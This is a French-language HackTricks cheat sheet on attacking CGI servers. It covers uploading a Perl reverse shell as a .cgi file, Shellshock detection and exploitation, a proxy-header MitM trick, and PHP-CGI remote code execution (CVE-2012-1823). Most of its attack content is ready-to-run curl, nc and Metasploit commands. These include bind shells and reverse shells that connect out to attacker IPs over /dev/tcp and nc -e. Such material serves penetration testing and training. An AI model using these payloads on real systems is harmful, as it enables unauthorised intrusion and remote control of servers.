Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
# Information
Les **scripts CGI sont des scripts perl**, donc, si vous avez compromis un serveur capable d'exécuter des scripts _**.cgi**_, vous pouvez **télécharger un shell inversé perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner les **permissions d'exécution** \(`chmod +x`\) et **accéder** au shell inversé **depuis le navigateur web** pour l'exécuter.
Pour tester les **vulnérabilités CGI**, il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\)
# **ShellShock**
**ShellShock** est une **vulnérabilité** qui affecte le shell de ligne de commande **Bash** largement utilisé dans les systèmes d'exploitation basés sur Unix. Il cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques qui influent sur la manière dont les processus s'exécutent sur un ordinateur. Les attaquants peuvent exploiter cela en attachant du **code malveillant** aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet aux attaquants de compromettre potentiellement le système.
En exploitant cette vulnérabilité, la **page pourrait renvoyer une erreur**.
Vous pourriez **détecter** cette vulnérabilité en remarquant qu'elle utilise une **ancienne version d'Apache** et **cgi\_mod** \(avec un dossier cgi\) ou en utilisant **nikto**.
## **Test**
La plupart des tests sont basés sur l'écho de quelque chose et s'attendent à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(réfléchi, aveugle et hors bande\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Exploiter
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM pour les requêtes au serveur Web\)**
CGI crée une variable d'environnement pour chaque en-tête de la requête http. Par exemple: "host:web.com" est créé comme "HTTP\_HOST"="web.com"
Comme la variable HTTP\_PROXY pourrait être utilisée par le serveur Web. Essayez d'envoyer un **en-tête** contenant: "**Proxy: <IP\_attaquant>:<PORT>**" et si le serveur effectue une requête pendant la session. Vous pourrez capturer chaque requête effectuée par le serveur.
# Ancien PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Fondamentalement, si cgi est actif et que php est "ancien" \(<5.3.12 / < 5.4.2\), vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur Web sans envoyer de paramètres \(surtout sans envoyer le caractère "="\).
Ensuite, pour tester cette vulnérabilité, vous pourriez accéder par exemple à `/index.php?-s` \(notez le `-s`\), et le **code source de l'application apparaîtra dans la réponse**.
Ensuite, pour obtenir **RCE**, vous pouvez envoyer cette requête spéciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête.
Exemple:**
```bash
curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Plus d'informations sur la vulnérabilité et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Exemple de CTF Writeup**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.